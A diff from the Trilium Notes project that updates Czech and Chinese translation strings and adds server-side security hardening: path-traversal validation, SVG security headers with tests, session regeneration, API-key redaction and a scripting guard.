"toggle-zen-mode": "Zapnout/vypnout režim zen (minimalistické uživatelské rozhraní pro soustředěnější úpravy)",
|
||||
"toggle-basic-properties": "Přepnout základní vlastnosti",
|
||||
"toggle-file-properties": "Přepnout vlastnosti souboru",
|
||||
"toggle-image-properties": "Přepnout vlastnosti obrázku",
|
||||
"toggle-owned-attributes": "Přepnout vlastní atributy",
|
||||
"toggle-inherited-attributes": "Přepnout zděděné atributy",
|
||||
"toggle-promoted-attributes": "Přepnout propagované atributy",
|
||||
"toggle-link-map": "Přepnout mapu odkazů",
|
||||
"toggle-note-info": "Přepnout informace o poznámce",
|
||||
"toggle-note-paths": "Přepnout cesty k poznámce",
|
||||
"toggle-similar-notes": "Přepnout podobné poznámky",
|
||||
"toggle-right-pane": "Přepnout zobrazení pravého panelu, který obsahuje obsah a zvýraznění",
|
||||
"toggle-note-hoisting": "Přepnout zúžení zobrazení aktivní poznámky",
|
||||
"find-in-text": "Přepnout panel hledání",
|
||||
"toggle-left-note-tree-panel": "Přepnout levý panel (strom poznámek)",
|
||||
"toggle-full-screen": "Přepnout režim celého obrazovky",
|
||||
"toggle-book-properties": "Přepnout vlastnosti kolekce",
|
||||
"toggle-classic-editor-toolbar": "Přepnout záložku formátování pro editor s fixní páskou"
|
||||
"toggle-zen-mode": "Zapnout/vypnout režim zen (minimalistické uživatelské rozhraní pro soustředěnější úpravy)"
|
||||
},
|
||||
"keyboard_action_names": {
|
||||
"jump-to-note": "Přejít na...",
|
||||
@@ -124,322 +107,6 @@
|
||||
"expand-subtree": "Otevřít podstrom",
|
||||
"collapse-tree": "Zavřít strom",
|
||||
"collapse-subtree": "Zavřít podstrom",
|
||||
"sort-child-notes": "Seřadit dceřiné poznámky",
|
||||
"create-note-after": "Vytvořit poznámku po",
|
||||
"create-note-into": "Vytvořit poznámku do",
|
||||
"create-note-into-inbox": "Vytvořit poznámku v doručené poště",
|
||||
"delete-notes": "Smazat poznámky",
|
||||
"edit-branch-prefix": "Upravit předponu větve",
|
||||
"paste-notes-from-clipboard": "Vložit poznámky ze schránky",
|
||||
"cut-notes-to-clipboard": "Vyříznout poznámky do schránky",
|
||||
"select-all-notes-in-parent": "Vybrat všechny poznámky v nadřazené položce",
|
||||
"add-note-above-to-selection": "Přidat poznámku nad výběr",
|
||||
"add-note-below-to-selection": "Přidat poznámku pod výběr",
|
||||
"duplicate-subtree": "Duplikovat podstrom",
|
||||
"open-new-tab": "Otevřít novou záložku",
|
||||
"close-active-tab": "Zavřít aktivní záložku",
|
||||
"reopen-last-tab": "Znovu otevřít poslední záložku",
|
||||
"activate-next-tab": "Aktivovat další záložku",
|
||||
"activate-previous-tab": "Aktivovat předchozí záložku",
|
||||
"open-new-window": "Otevřít nové okno",
|
||||
"toggle-system-tray-icon": "Přepínat ikonu v systémové oblasti",
|
||||
"toggle-zen-mode": "Přepínat režim Zen",
|
||||
"switch-to-first-tab": "Přepnout na první záložku",
|
||||
"switch-to-second-tab": "Přepnout na druhou záložku",
|
||||
"switch-to-third-tab": "Přepnout na třetí záložku",
|
||||
"switch-to-fourth-tab": "Přepnout na čtvrtou záložku",
|
||||
"switch-to-fifth-tab": "Přepnout na pátou záložku",
|
||||
"switch-to-sixth-tab": "Přepnout na šestou záložku",
|
||||
"switch-to-seventh-tab": "Přepnout na sedmou záložku",
|
||||
"switch-to-eighth-tab": "Přepnout na osmou záložku",
|
||||
"switch-to-ninth-tab": "Přepnout na devátou záložku",
|
||||
"switch-to-last-tab": "Přepnout na poslední záložku",
|
||||
"show-note-source": "Zobrazit zdroj poznámky",
|
||||
"show-options": "Zobrazit nastavení",
|
||||
"show-revisions": "Zobrazit revize",
|
||||
"show-recent-changes": "Zobrazit nedávné změny",
|
||||
"show-sql-console": "Zobrazit SQL konzoli",
|
||||
"show-backend-log": "Zobrazit log backendu",
|
||||
"show-help": "Zobrazit nápovědu",
|
||||
"show-cheatsheet": "Zobrazit kısestupku",
|
||||
"add-link-to-text": "Přidat odkaz do textu",
|
||||
"follow-link-under-cursor": "Otevřít odkaz pod kurzorem",
|
||||
"insert-date-and-time-to-text": "Vložit datum a čas do textu",
|
||||
"paste-markdown-into-text": "Vložit Markdown do textu",
|
||||
"cut-into-note": "Vyříznout do poznámky",
|
||||
"add-include-note-to-text": "Přidat zahrnutí poznámky do textu",
|
||||
"edit-read-only-note": "Upravit poznámku pouze pro čtení",
|
||||
"add-new-label": "Přidat nový štítek",
|
||||
"add-new-relation": "Přidat novou vazbu",
|
||||
"toggle-ribbon-tab-classic-editor": "Přepínat záložku pásu karet Klasický editor",
|
||||
"toggle-ribbon-tab-basic-properties": "Přepínat záložku pásu karet Základní vlastnosti",
|
||||
"toggle-ribbon-tab-book-properties": "Přepínat záložku pásu karet Vlastnosti knihy",
|
||||
"toggle-ribbon-tab-file-properties": "Přepínat záložku pásu karet Vlastnosti souboru",
|
||||
"toggle-ribbon-tab-image-properties": "Přepínat záložku pásu karet Vlastnosti obrázku",
|
||||
"toggle-ribbon-tab-owned-attributes": "Přepínat záložku pásu karet Vlastní atributy",
|
||||
"toggle-ribbon-tab-inherited-attributes": "Přepínat záložku pásu karrét Zděděné atributy",
|
||||
"toggle-ribbon-tab-promoted-attributes": "Přepínat záložku pásu karet Propagované atributy",
|
||||
"toggle-ribbon-tab-note-map": "Přepínat záložku pásu karet Mapa poznámky",
|
||||
"toggle-ribbon-tab-note-info": "Přepínat záložku pásu karet Informace o poznámce",
|
||||
"toggle-ribbon-tab-note-paths": "Přepínat záložku pásu karet Cesty k poznámce",
|
||||
"toggle-ribbon-tab-similar-notes": "Přepínat záložku pásu karet Podobné poznámky",
|
||||
"toggle-right-pane": "Přepnout pravý panel",
|
||||
"print-active-note": "Tisknout aktivní poznámku",
|
||||
"export-active-note-as-pdf": "Exportovat aktivní poznámku jako PDF",
|
||||
"open-note-externally": "Otevřít poznámku externě",
|
||||
"render-active-note": "Zobrazit aktivní poznámku",
|
||||
"run-active-note": "Spustit aktivní poznámku",
|
||||
"toggle-note-hoisting": "Přepnout zúžení zobrazení poznámky",
|
||||
"unhoist-note": "Zrušit zúžení zobrazení poznámky",
|
||||
"reload-frontend-app": "Znovu načíst frontend aplikaci",
|
||||
"open-developer-tools": "Otevřít vývojářské nástroje",
|
||||
"find-in-text": "Najít v textu",
|
||||
"toggle-left-pane": "Přepnout levý panel",
|
||||
"toggle-full-screen": "Přepnout režim celého obrazovky",
|
||||
"zoom-out": "Zoom out",
|
||||
"zoom-in": "Zoom in",
|
||||
"reset-zoom-level": "Resetovat úroveň zvětšení",
|
||||
"copy-without-formatting": "Kopírovat bez formátování",
|
||||
"force-save-revision": "Vynutit uložení revize"
|
||||
},
|
||||
"login": {
|
||||
"title": "Přihlášení",
|
||||
"heading": "Přihlášení do Trilium",
|
||||
"incorrect-totp": "TOTP je nesprávné. Zkuste to prosím znovu.",
|
||||
"incorrect-password": "Heslo je nesprávné. Zkuste to prosím znovu.",
|
||||
"password": "Heslo",
|
||||
"remember-me": "Zapamatovat si mě",
|
||||
"button": "Přihlásit se",
|
||||
"sign_in_with_sso": "Přihlásit se pomocí {{ ssoIssuerName }}"
|
||||
},
|
||||
"set_password": {
|
||||
"title": "Nastavit heslo",
|
||||
"heading": "Nastavit heslo",
|
||||
"description": "Než budete moci začít Trilium používat z webu, musíte nejprve nastavit heslo. Toto heslo pak budete používat k přihlášení.",
|
||||
"password": "Heslo",
|
||||
"password-confirmation": "Potvrzení hesla",
|
||||
"button": "Nastavit heslo"
|
||||
},
|
||||
"setup": {
|
||||
"heading": "Nastavení Trilium Notes",
|
||||
"new-document": "Jsem nový uživatel a chci vytvořit nový dokument Trilium pro své poznámky",
|
||||
"sync-from-desktop": "Již mám instanci na počítači a chci s ní nastavit synchronizaci",
|
||||
"sync-from-server": "Již mám instanci na serveru a chci s ní nastavit synchronizaci",
|
||||
"next": "Další",
|
||||
"init-in-progress": "Inicializace dokumentu probíhá",
|
||||
"redirecting": "Budete brzy přesměrováni do aplikace.",
|
||||
"title": "Nastavení"
|
||||
},
|
||||
"setup_sync-from-desktop": {
|
||||
"heading": "Synchronizace z počítače",
|
||||
"description": "Toto nastavení musí být zahájeno z instance na počítači:",
|
||||
"step1": "Otevřete svou instanci Trilium Notes na počítači.",
|
||||
"step2": "V menu Trilium klikněte na Nastavení.",
|
||||
"step3": "Klikněte na kategorii Synchronizace.",
|
||||
"step4": "Změňte adresu instance serveru na: {{- host}} a klikněte na Uložit.",
|
||||
"step5": "Klikněte na tlačítko „Testovat synchronizaci“ pro ověření úspěšného připojení.",
|
||||
"step6": "Jakmile tyto kroky dokončíte, klikněte na {{- link}}.",
|
||||
"step6-here": "zde"
|
||||
},
|
||||
"setup_sync-from-server": {
|
||||
"heading": "Synchronizace ze serveru",
|
||||
"instructions": "Níže prosím zadejte adresu serveru Trilium a přihlašovací údaje. To stáhne celý dokument Trilium ze serveru a nastaví jeho synchronizaci. V závislosti na velikosti dokumentu a rychlosti vašeho připojení to může trvat nějakou dobu.",
|
||||
"server-host": "Adresa serveru Trilium",
|
||||
"server-host-placeholder": "https://<hostname>:<port>",
|
||||
"proxy-server": "Proxy server (volitelné)",
|
||||
"proxy-server-placeholder": "https://<hostname>:<port>",
|
||||
"note": "Poznámka:",
|
||||
"proxy-instruction": "Pokud ponecháte nastavení proxy prázdné, bude použita systémová proxy (platí pouze pro počítačovou aplikaci)",
|
||||
"password": "Heslo",
|
||||
"password-placeholder": "Heslo",
|
||||
"back": "Zpět",
|
||||
"finish-setup": "Dokončit nastavení"
|
||||
},
|
||||
"setup_sync-in-progress": {
|
||||
"heading": "Synchronizace probíhá",
|
||||
"successful": "Synchronizace byla správně nastavena. Prvotní synchronizace bude trvat nějaký čas. Jakmile bude hotovo, budete přesměrováni na přihlašovací stránku.",
|
||||
"outstanding-items": "Neodeslané položky synchronizace:",
|
||||
"outstanding-items-default": "N/A"
|
||||
},
|
||||
"share_404": {
|
||||
"title": "Nenalezeno",
|
||||
"heading": "Nenalezeno"
|
||||
},
|
||||
"share_page": {
|
||||
"parent": "nadřazená:",
|
||||
"clipped-from": "Tato poznámka byla původně uložena ze zdroje {{- url}}",
|
||||
"child-notes": "Dceřiné poznámky:",
|
||||
"no-content": "Tato poznámka neobsahuje žádný obsah."
|
||||
},
|
||||
"weekdays": {
|
||||
"monday": "Pondělí",
|
||||
"tuesday": "Úterý",
|
||||
"wednesday": "Středa",
|
||||
"thursday": "Čtvrtek",
|
||||
"friday": "Pátek",
|
||||
"saturday": "Sobota",
|
||||
"sunday": "Neděle"
|
||||
},
|
||||
"weekdayNumber": "Týden {{weekNumber}}",
|
||||
"months": {
|
||||
"january": "Leden",
|
||||
"february": "Únor",
|
||||
"march": "Březen",
|
||||
"april": "Duben",
|
||||
"may": "Květen",
|
||||
"june": "Červen",
|
||||
"july": "Červenec",
|
||||
"august": "Srpen",
|
||||
"september": "Září",
|
||||
"october": "Říjen",
|
||||
"november": "Listopad",
|
||||
"december": "Prosinec"
|
||||
},
|
||||
"quarterNumber": "Čtvrtletí {quarterNumber}",
|
||||
"special_notes": {
|
||||
"search_prefix": "Hledání:",
|
||||
"llm_chat_prefix": "Chat:"
|
||||
},
|
||||
"test_sync": {
|
||||
"not-configured": "Hostitel synchronizačního serveru není nakonfigurován. Nejprve prosím nakonfigurujte synchronizaci.",
|
||||
"successful": "Protokol synchronizačního serveru byl úspěšný, synchronizace byla zahájena."
|
||||
},
|
||||
"hidden-subtree": {
|
||||
"root-title": "Skryté poznámky",
|
||||
"search-history-title": "Historie hledání",
|
||||
"note-map-title": "Mapa poznámek",
|
||||
"sql-console-history-title": "Historie SQL konzole",
|
||||
"llm-chat-history-title": "Historie AI Chat",
|
||||
"shared-notes-title": "Sdílené poznámky",
|
||||
"bulk-action-title": "Hromadná akce",
|
||||
"backend-log-title": "Log Backend",
|
||||
"user-hidden-title": "Uživatel skryt",
|
||||
"launch-bar-templates-title": "Šablony panelu spouštěče",
|
||||
"base-abstract-launcher-title": "Základní abstraktní spouštěč",
|
||||
"command-launcher-title": "Spouštěč příkazů",
|
||||
"note-launcher-title": "Spouštěč poznámky",
|
||||
"script-launcher-title": "Spouštěč skriptu",
|
||||
"built-in-widget-title": "Vestavěný widget",
|
||||
"spacer-title": "Mezera",
|
||||
"custom-widget-title": "Vlastní widget",
|
||||
"launch-bar-title": "Panel spouštěče",
|
||||
"available-launchers-title": "Dostupné spouštěče",
|
||||
"go-to-previous-note-title": "Přejít na předchozí poznámku",
|
||||
"go-to-next-note-title": "Přejít na další poznámku",
|
||||
"new-note-title": "Nová poznámka",
|
||||
"search-notes-title": "Hledat poznámky",
|
||||
"jump-to-note-title": "Skočit na...",
|
||||
"calendar-title": "Kalendář",
|
||||
"recent-changes-title": "Nedávné změny",
|
||||
"bookmarks-title": "Záložky",
|
||||
"command-palette": "Otevřít paletu příkazů",
|
||||
"zen-mode": "Režim Zen",
|
||||
"open-today-journal-note-title": "Otevřít dnešní deník",
|
||||
"quick-search-title": "Rychlé hledání",
|
||||
"protected-session-title": "Chráněná relace",
|
||||
"sync-status-title": "Stav synchronizace",
|
||||
"settings-title": "Nastavení",
|
||||
"options-title": "Možnosti",
|
||||
"appearance-title": "Vzhled",
|
||||
"shortcuts-title": "Zkratky",
|
||||
"text-notes": "Textové poznámky",
|
||||
"code-notes-title": "Poznámky s kódem",
|
||||
"images-title": "Média",
|
||||
"spellcheck-title": "Kontrola pravopisu",
|
||||
"password-title": "Heslo",
|
||||
"multi-factor-authentication-title": "MFA",
|
||||
"etapi-title": "ETAPI",
|
||||
"backup-title": "Záloha",
|
||||
"sync-title": "Synchronizace",
|
||||
"other": "Ostatní",
|
||||
"advanced-title": "Pokročilé",
|
||||
"llm-title": "AI / LLM",
|
||||
"visible-launchers-title": "Viditelné spouštěče",
|
||||
"user-guide": "Uživatelská příručka",
|
||||
"localization": "Jazyk a region",
|
||||
"inbox-title": "Schránka příchozí",
|
||||
"tab-switcher-title": "Přepínač záložek",
|
||||
"sidebar-chat-title": "AI Chat"
|
||||
},
|
||||
"notes": {
|
||||
"new-note": "Nová poznámka",
|
||||
"duplicate-note-suffix": "(dup)",
|
||||
"duplicate-note-title": "{{- noteTitle }} {{ duplicateNoteSuffix }}"
|
||||
},
|
||||
"backend_log": {
|
||||
"log-does-not-exist": "Logovací soubor Backend '{{ fileName }}' neexistuje (zatím).",
|
||||
"reading-log-failed": "Čtení logovacího souboru Backend '{{ fileName }}' se nepodařilo."
|
||||
},
|
||||
"content_renderer": {
|
||||
"note-cannot-be-displayed": "Tento typ poznámky nelze zobrazit."
|
||||
},
|
||||
"pdf": {
|
||||
"export_filter": "PDF dokument (*.pdf)",
|
||||
"unable-to-export-message": "Aktuální poznámku nebylo možné exportovat jako PDF.",
|
||||
"unable-to-export-title": "Nelze exportovat jako PDF",
|
||||
"unable-to-save-message": "Do vybraného souboru nebylo možné zapisovat. Zkuste to znovu nebo vyberte jiné cílové místo.",
|
||||
"unable-to-print": "Nelze vytisknout poznámku"
|
||||
},
|
||||
"tray": {
|
||||
"tooltip": "Trilium Notes",
|
||||
"close": "Ukončit Trilium",
|
||||
"recents": "Nedávné poznámky",
|
||||
"bookmarks": "Záložky (oblíbené)",
|
||||
"today": "Otevřít dnešní deníkovou poznámku",
|
||||
"new-note": "Nová poznámka",
|
||||
"show-windows": "Zobrazit okna",
|
||||
"open_new_window": "Otevřít nové okno"
|
||||
},
|
||||
"migration": {
|
||||
"old_version": "Přímá migrace z vaší aktuální verze není podporována. Nejprve prosím upgradujte na nejnovější v0.60.4 a až poté na tuto verzi.",
|
||||
"error_message": "Chyba během migrace na verzi {{version}}: {{stack}}",
|
||||
"wrong_db_version": "Verze databáze ({{version}}) je novější, než jakou aplikace očekává ({{targetVersion}}), což znamená, že byla vytvořena novější a nekompatibilní verzí Trilium. Pro vyřešení tohoto problému upgradujte na nejnovější verzi Trilium."
|
||||
},
|
||||
"modals": {
|
||||
"error_title": "Chyba"
|
||||
},
|
||||
"share_theme": {
|
||||
"site-theme": "Motiv webu",
|
||||
"search_placeholder": "Hledat...",
|
||||
"image_alt": "Obrázek článku",
|
||||
"last-updated": "Poslední aktualizace dne {{ - date}}",
|
||||
"subpages": "Podstránky:",
|
||||
"on-this-page": "Na této stránce",
|
||||
"expand": "Rozbalit"
|
||||
},
|
||||
"hidden_subtree_templates": {
|
||||
"text-snippet": "Textový úryvek",
|
||||
"description": "Popis",
|
||||
"list-view": "Seznamový pohled",
|
||||
"grid-view": "Mřížkový pohled",
|
||||
"calendar": "Kalendář",
|
||||
"table": "Tabulka",
|
||||
"geo-map": "Geomapa",
|
||||
"start-date": "Počáteční datum",
|
||||
"end-date": "Koncové datum",
|
||||
"start-time": "Počáteční čas",
|
||||
"end-time": "Koncowy čas",
|
||||
"geolocation": "Geolokalizace",
|
||||
"built-in-templates": "Vestavěné šablony",
|
||||
"board": "Kanbanová tabule",
|
||||
"status": "Stav",
|
||||
"board_note_first": "První poznámka",
|
||||
"board_note_second": "Druhá poznámka",
|
||||
"board_note_third": "Třetí poznámka",
|
||||
"board_status_todo": "K dokončení",
|
||||
"board_status_progress": "Probíhá",
|
||||
"board_status_done": "Hotovo",
|
||||
"presentation": "Prezentace",
|
||||
"presentation_slide": "Prezentace snímku",
|
||||
"presentation_slide_first": "První snímek",
|
||||
"presentation_slide_second": "Druhý snímek",
|
||||
"background": "Pozadí"
|
||||
},
|
||||
"sql_init": {
|
||||
"db_not_initialized_desktop": "DB není inicializována, postupujte podle pokynů na obrazovce.",
|
||||
"db_not_initialized_server": "DB není inicializována, navštivte prosím stránku pro nastavení - http://[your-server-host]:{{port}}, kde najdete pokyny, jak inicializovat Trilium."
|
||||
},
|
||||
"desktop": {
|
||||
"instance_already_running": "Instance již běží, místo vytváření nové se zaměříme na tu stávající."
|
||||
"sort-child-notes": "Seřadit dceřiné poznámky"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -198,8 +198,7 @@
|
||||
"december": "十二月"
|
||||
},
|
||||
"special_notes": {
|
||||
"search_prefix": "搜尋:",
|
||||
"llm_chat_prefix": "對話:"
|
||||
"search_prefix": "搜尋:"
|
||||
},
|
||||
"test_sync": {
|
||||
"not-configured": "尚未設定同步伺服器主機,請先設定同步。",
|
||||
@@ -341,7 +340,7 @@
|
||||
"shortcuts-title": "快捷鍵",
|
||||
"text-notes": "文字筆記",
|
||||
"code-notes-title": "程式碼筆記",
|
||||
"images-title": "媒體",
|
||||
"images-title": "圖片",
|
||||
"spellcheck-title": "拼寫檢查",
|
||||
"password-title": "密碼",
|
||||
"multi-factor-authentication-title": "多重身份驗證",
|
||||
@@ -356,10 +355,7 @@
|
||||
"inbox-title": "收件匣",
|
||||
"command-palette": "打開命令面板",
|
||||
"zen-mode": "禪模式",
|
||||
"tab-switcher-title": "切換分頁",
|
||||
"llm-chat-history-title": "AI 對話歷史",
|
||||
"llm-title": "AI / LLM",
|
||||
"sidebar-chat-title": "AI 對話"
|
||||
"tab-switcher-title": "切換分頁"
|
||||
},
|
||||
"notes": {
|
||||
"new-note": "新增筆記",
|
||||
|
||||
@@ -171,7 +171,8 @@ function setExpandedForSubtree(req: Request<{ branchId: string, expanded: string
|
||||
// root is always expanded
|
||||
branchIds = branchIds.filter((branchId) => branchId !== "none_root");
|
||||
|
||||
sql.executeMany(/*sql*/`UPDATE branches SET isExpanded = ${expanded} WHERE branchId IN (???)`, branchIds);
|
||||
const expandedValue = expanded ? 1 : 0;
|
||||
sql.executeMany(/*sql*/`UPDATE branches SET isExpanded = ${expandedValue} WHERE branchId IN (???)`, branchIds);
|
||||
|
||||
for (const branchId of branchIds) {
|
||||
const branch = becca.branches[branchId];
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
import chokidar from "chokidar";
|
||||
import type { Request, Response } from "express";
|
||||
import fs from "fs";
|
||||
import path from "path";
|
||||
import { Readable } from "stream";
|
||||
import tmp from "tmp";
|
||||
|
||||
@@ -203,13 +204,36 @@ function saveToTmpDir(fileName: string, content: string | Buffer, entityType: st
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates that the given file path is a known temporary file created by this server
|
||||
* and resides within the expected temporary directory. This prevents path traversal
|
||||
* attacks (CWE-22) where an attacker could read arbitrary files from the filesystem.
|
||||
*/
|
||||
function validateTemporaryFilePath(filePath: string): void {
|
||||
if (!filePath || typeof filePath !== "string") {
|
||||
throw new ValidationError("Missing or invalid file path.");
|
||||
}
|
||||
|
||||
// Check 1: The file must be in our set of known temporary files created by saveToTmpDir().
|
||||
if (!createdTemporaryFiles.has(filePath)) {
|
||||
throw new ValidationError(`File '${filePath}' is not a tracked temporary file.`);
|
||||
}
|
||||
|
||||
// Check 2 (defense-in-depth): Resolve to an absolute path and verify it is within TMP_DIR.
|
||||
// This guards against any future bugs where a non-temp path could end up in the set.
|
||||
const resolvedPath = path.resolve(filePath);
|
||||
const resolvedTmpDir = path.resolve(dataDirs.TMP_DIR);
|
||||
|
||||
if (!resolvedPath.startsWith(resolvedTmpDir + path.sep) && resolvedPath !== resolvedTmpDir) {
|
||||
throw new ValidationError(`File path '${filePath}' is outside the temporary directory.`);
|
||||
}
|
||||
}
|
||||
|
||||
function uploadModifiedFileToNote(req: Request<{ noteId: string }>) {
|
||||
const noteId = req.params.noteId;
|
||||
const { filePath } = req.body;
|
||||
|
||||
if (!createdTemporaryFiles.has(filePath)) {
|
||||
throw new ValidationError(`File '${filePath}' is not a temporary file.`);
|
||||
}
|
||||
validateTemporaryFilePath(filePath);
|
||||
|
||||
const note = becca.getNoteOrThrow(noteId);
|
||||
|
||||
@@ -230,9 +254,7 @@ function uploadModifiedFileToAttachment(req: Request<{ attachmentId: string }>)
|
||||
const { attachmentId } = req.params;
|
||||
const { filePath } = req.body;
|
||||
|
||||
if (!createdTemporaryFiles.has(filePath)) {
|
||||
throw new ValidationError(`File '${filePath}' is not a temporary file.`);
|
||||
}
|
||||
validateTemporaryFilePath(filePath);
|
||||
|
||||
const attachment = becca.getAttachmentOrThrow(attachmentId);
|
||||
|
||||
|
||||
@@ -10,6 +10,21 @@ describe("Image API", () => {
|
||||
expect(response.headers["Content-Type"]).toBe("image/svg+xml");
|
||||
expect(response.body).toBe(`<svg xmlns="http://www.w3.org/2000/svg"></svg>`);
|
||||
});
|
||||
|
||||
it("sets Content-Security-Policy header on SVG responses", () => {
|
||||
const parentNote = note("note").note;
|
||||
const response = new MockResponse();
|
||||
renderSvgAttachment(parentNote, response as any, "attachment");
|
||||
expect(response.headers["Content-Security-Policy"]).toBeDefined();
|
||||
expect(response.headers["Content-Security-Policy"]).toContain("default-src 'none'");
|
||||
});
|
||||
|
||||
it("sets X-Content-Type-Options header on SVG responses", () => {
|
||||
const parentNote = note("note").note;
|
||||
const response = new MockResponse();
|
||||
renderSvgAttachment(parentNote, response as any, "attachment");
|
||||
expect(response.headers["X-Content-Type-Options"]).toBe("nosniff");
|
||||
});
|
||||
});
|
||||
|
||||
class MockResponse {
|
||||
|
||||
@@ -78,7 +78,7 @@ import recoveryCodeService from "../../services/encryption/recovery_codes";
|
||||
* type: string
|
||||
* example: "Auth request time is out of sync, please check that both client and server have correct time. The difference between clocks has to be smaller than 5 minutes"
|
||||
*/
|
||||
function loginSync(req: Request) {
|
||||
async function loginSync(req: Request) {
|
||||
if (!sqlInit.schemaExists()) {
|
||||
return [500, { message: "DB schema does not exist, can't sync." }];
|
||||
}
|
||||
@@ -112,6 +112,17 @@ function loginSync(req: Request) {
|
||||
return [400, { message: "Sync login credentials are incorrect. It looks like you're trying to sync two different initialized documents which is not possible." }];
|
||||
}
|
||||
|
||||
// Regenerate session to prevent session fixation attacks.
|
||||
await new Promise<void>((resolve, reject) => {
|
||||
req.session.regenerate((err) => {
|
||||
if (err) {
|
||||
reject(err);
|
||||
} else {
|
||||
resolve();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
req.session.loggedIn = true;
|
||||
|
||||
return {
|
||||
|
||||
@@ -5,7 +5,7 @@ import type { Request } from "express";
|
||||
|
||||
import ValidationError from "../../errors/validation_error.js";
|
||||
import config from "../../services/config.js";
|
||||
import { changeLanguage } from "../../services/i18n.js";
|
||||
import { changeLanguage, getLocales } from "../../services/i18n.js";
|
||||
import log from "../../services/log.js";
|
||||
import optionService from "../../services/options.js";
|
||||
import searchService from "../../services/search/services/search.js";
|
||||
@@ -113,17 +113,31 @@ const ALLOWED_OPTIONS = new Set<OptionNames>([
|
||||
"ocrMinConfidence"
|
||||
]);
|
||||
|
||||
// Options that contain secrets (API keys, tokens, etc.).
|
||||
// These can be written by the client but are never sent back in GET responses.
|
||||
const WRITE_ONLY_OPTIONS = new Set<OptionNames>([
|
||||
"openaiApiKey",
|
||||
"anthropicApiKey"
|
||||
]);
|
||||
|
||||
function getOptions() {
|
||||
const optionMap = optionService.getOptionMap();
|
||||
const resultMap: Record<string, string> = {};
|
||||
|
||||
for (const optionName in optionMap) {
|
||||
if (isAllowed(optionName)) {
|
||||
if (isReadable(optionName)) {
|
||||
resultMap[optionName] = optionMap[optionName as OptionNames];
|
||||
}
|
||||
}
|
||||
|
||||
resultMap["isPasswordSet"] = optionMap["passwordVerificationHash"] ? "true" : "false";
|
||||
|
||||
// Expose boolean flags for write-only (secret) options so the client
|
||||
// knows whether a value has been configured without revealing the value.
|
||||
for (const secretOption of WRITE_ONLY_OPTIONS) {
|
||||
resultMap[`is${secretOption.charAt(0).toUpperCase()}${secretOption.slice(1)}Set`] =
|
||||
optionMap[secretOption] ? "true" : "false";
|
||||
}
|
||||
// if database is read-only, disable editing in UI by setting 0 here
|
||||
if (config.General.readOnly) {
|
||||
resultMap["autoReadonlySizeText"] = "0";
|
||||
@@ -158,7 +172,10 @@ function update(name: string, value: string) {
|
||||
}
|
||||
|
||||
if (name !== "openNoteContexts") {
|
||||
log.info(`Updating option '${name}' to '${value}'`);
|
||||
const logValue = (WRITE_ONLY_OPTIONS as Set<string>).has(name)
|
||||
? "[redacted]"
|
||||
: value;
|
||||
log.info(`Updating option '${name}' to '${logValue}'`);
|
||||
}
|
||||
|
||||
optionService.setOption(name as OptionNames, value);
|
||||
@@ -192,16 +209,28 @@ function getUserThemes() {
|
||||
return ret;
|
||||
}
|
||||
|
||||
function isAllowed(name: string) {
|
||||
function getSupportedLocales() {
|
||||
return getLocales();
|
||||
}
|
||||
|
||||
/** Check if an option can be read by the client (GET responses). */
|
||||
function isReadable(name: string) {
|
||||
return (ALLOWED_OPTIONS as Set<string>).has(name)
|
||||
|| name.startsWith("keyboardShortcuts")
|
||||
|| name.endsWith("Collapsed")
|
||||
|| name.startsWith("hideArchivedNotes");
|
||||
}
|
||||
|
||||
/** Check if an option can be written by the client (PUT requests). */
|
||||
function isAllowed(name: string) {
|
||||
return isReadable(name)
|
||||
|| (WRITE_ONLY_OPTIONS as Set<string>).has(name);
|
||||
}
|
||||
|
||||
export default {
|
||||
getOptions,
|
||||
updateOption,
|
||||
updateOptions,
|
||||
getUserThemes
|
||||
getUserThemes,
|
||||
getSupportedLocales
|
||||
};
|
||||
|
||||
@@ -8,6 +8,7 @@ import scriptService, { type Bundle } from "../../services/script.js";
|
||||
import sql from "../../services/sql.js";
|
||||
import syncService from "../../services/sync.js";
|
||||
import { safeExtractMessageAndStackFromError } from "../../services/utils.js";
|
||||
import { assertScriptingEnabled, isScriptingEnabled } from "../../services/scripting_guard.js";
|
||||
|
||||
interface ScriptBody {
|
||||
script: string;
|
||||
@@ -23,6 +24,7 @@ interface ScriptBody {
|
||||
// need to await it and make the complete response including metadata available in a Promise, so that the route detects
|
||||
// this and does result.then().
|
||||
async function exec(req: Request) {
|
||||
assertScriptingEnabled();
|
||||
try {
|
||||
const body = req.body as ScriptBody;
|
||||
|
||||
@@ -45,6 +47,7 @@ async function exec(req: Request) {
|
||||
}
|
||||
|
||||
function run(req: Request<{ noteId: string }>) {
|
||||
assertScriptingEnabled();
|
||||
const note = becca.getNoteOrThrow(req.params.noteId);
|
||||
|
||||
const result = scriptService.executeNote(note, { originEntity: note });
|
||||
@@ -69,6 +72,10 @@ function getBundlesWithLabel(label: string, value?: string) {
|
||||
}
|
||||
|
||||
function getStartupBundles(req: Request) {
|
||||
if (!isScriptingEnabled()) {
|
||||
return [];
|
||||
}
|
||||
|
||||
if (!process.env.TRILIUM_SAFE_MODE) {
|
||||
if (req.query.mobile === "true") {
|
||||
return getBundlesWithLabel("run", "mobileStartup");
|
||||
@@ -81,6 +88,10 @@ function getStartupBundles(req: Request) {
|
||||
}
|
||||
|
||||
function getWidgetBundles() {
|
||||
if (!isScriptingEnabled()) {
|
||||
return [];
|
||||
}
|
||||
|
||||
if (!process.env.TRILIUM_SAFE_MODE) {
|
||||
return getBundlesWithLabel("widget");
|
||||
}
|
||||
@@ -89,6 +100,10 @@ function getWidgetBundles() {
|
||||
}
|
||||
|
||||
function getRelationBundles(req: Request<{ noteId: string, relationName: string }>) {
|
||||
if (!isScriptingEnabled()) {
|
||||
return [];
|
||||
}
|
||||
|
||||
const noteId = req.params.noteId;
|
||||
const note = becca.getNoteOrThrow(noteId);
|
||||
const relationName = req.params.relationName;
|
||||
@@ -118,6 +133,8 @@ function getRelationBundles(req: Request<{ noteId: string, relationName: string
|
||||
}
|
||||
|
||||
function getBundle(req: Request<{ noteId: string }>) {
|
||||
assertScriptingEnabled();
|
||||
|
||||
const note = becca.getNoteOrThrow(req.params.noteId);
|
||||
const { script, params } = req.body ?? {};
|
||||
|
||||
|
||||
@@ -4,6 +4,7 @@ import becca from "../../becca/becca.js";
|
||||
import ValidationError from "../../errors/validation_error.js";
|
||||
import sql from "../../services/sql.js";
|
||||
import { safeExtractMessageAndStackFromError } from "../../services/utils.js";
|
||||
